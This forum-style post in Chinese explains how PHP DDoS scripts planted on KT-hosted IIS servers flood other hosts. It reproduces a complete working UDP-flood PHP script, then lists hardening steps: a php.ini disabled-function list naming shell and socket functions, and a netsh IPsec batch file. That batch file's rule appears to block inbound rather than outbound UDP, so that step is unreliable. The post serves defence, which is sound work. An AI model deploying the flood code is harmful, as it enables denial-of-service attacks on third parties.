| 最近有不少用KT服务器的都被植入了PHP-DDoS攻击脚本,访问触发后会进行攻击他人服务器的行为。 
 案例带宽占用图如下:
 
  Snap2.jpg
(45.87 KB, 下载次数: 6) 
 KT对这种abuse的处罚政策是,
 
 Further violations will proceed with these following actions:
 1st violation - Warning and shutdown of server. We will allow 24 hours for you to rectify the problem.  第一次是警告+关机,给24小时的时间来解决问题
 2nd violation - Immediate reformat of server.  第二次是立即格式化服务器
 3rd violation - Cancellation with no refund.   第三次是取消服务并不给退款
 
 针对这个问题,给一个简单的描述,
 
 特征:用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
 
 
 $packets = 0;
 $ip = $_GET[\'ip\'];
 $rand = $_GET[\'port\'];
 set_time_limit(0);
 ignore_user_abort(FALSE);
 
 $exec_time = $_GET[\'time\'];
 
 $time = time();
 print \"Flooded: $ip on port $rand
 
 \";
 $max_time = $time+$exec_time;
 
 
 for($i=0;$i<65535;$i++){
 $out .= \"X\";
 }
 while(1){
 $packets++;
 if(time() > $max_time){
 break;
 }
 
 $fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
 if($fp){
 fwrite($fp, $out);
 fclose($fp);
 }
 }
 echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
 ?>
 
 表现特征:一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到ddos攻击是不同的,Ddos是不断收到大量数据包.
 
 解决办法:
 先停止IIS,这样就暂时没法对外攻击了,然后
 
 禁止上述的代码:
 在c:\windows\php.ini里设置:
 disable_functions =gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
 
 在c:\windows\php.ini里设其值为Off
 allow_url_fopen = Off
 
 并且:
 
 ;extension=php_sockets.dll
 
 前面的;号一定要有,意思就是限制用sockets.dll
 
 
 前面的;号要保留
 
 然后启动IIS
 
 
 如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
 
 另外,对于没加密的php攻击代码,还可以用以下办法处理:
 1.在IP策略,或防火墙中,禁止所有udp向外发送
 将以下红色文本复制到记事本,另存为 banudp.bat 或任意名,双击运行即可,
 
 REM 添加安全策略,名称
 netsh ipsec static add policy name=我的安全策略
 
 REM 添加 IP筛选器列表
 netsh ipsec static add filterlist name=允许列表
 netsh ipsec static add filterlist name=拒绝列表
 
 REM 添加筛选器到IP筛选器列表(允许上网)
 netsh ipsec static add filter filterlist=允许列表  srcaddr=me dstaddr=any description=dns访问 protocol=udp mirrored=yes dstport=53
 
 REM 添加筛选器到IP筛选器列表(不让别人访问)
 netsh ipsec static add filter filterlist=拒绝列表 srcaddr=any dstaddr=me description=别人到我任何访问 protocol=udp mirrored=yes
 
 REM 添加筛选器操作
 netsh ipsec static add filteraction name=可以  action=permit
 netsh ipsec static add filteraction name=不可以  action=block
 
 REM 创建一个链接指定 IPSec 策略、筛选器列表和筛选器操作的规则(加入规则到我的安全策略)
 netsh ipsec static add rule name=允许规则  policy=我的安全策略 filterlist=允许列表 filteraction=可以
 netsh ipsec static add rule name=拒绝规则  policy=我的安全策略 filterlist=拒绝列表 filteraction=不可以
 
 REM 激活我的安全策略
 netsh ipsec static set policy name=我的安全策略 assign=y
 
 2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
 |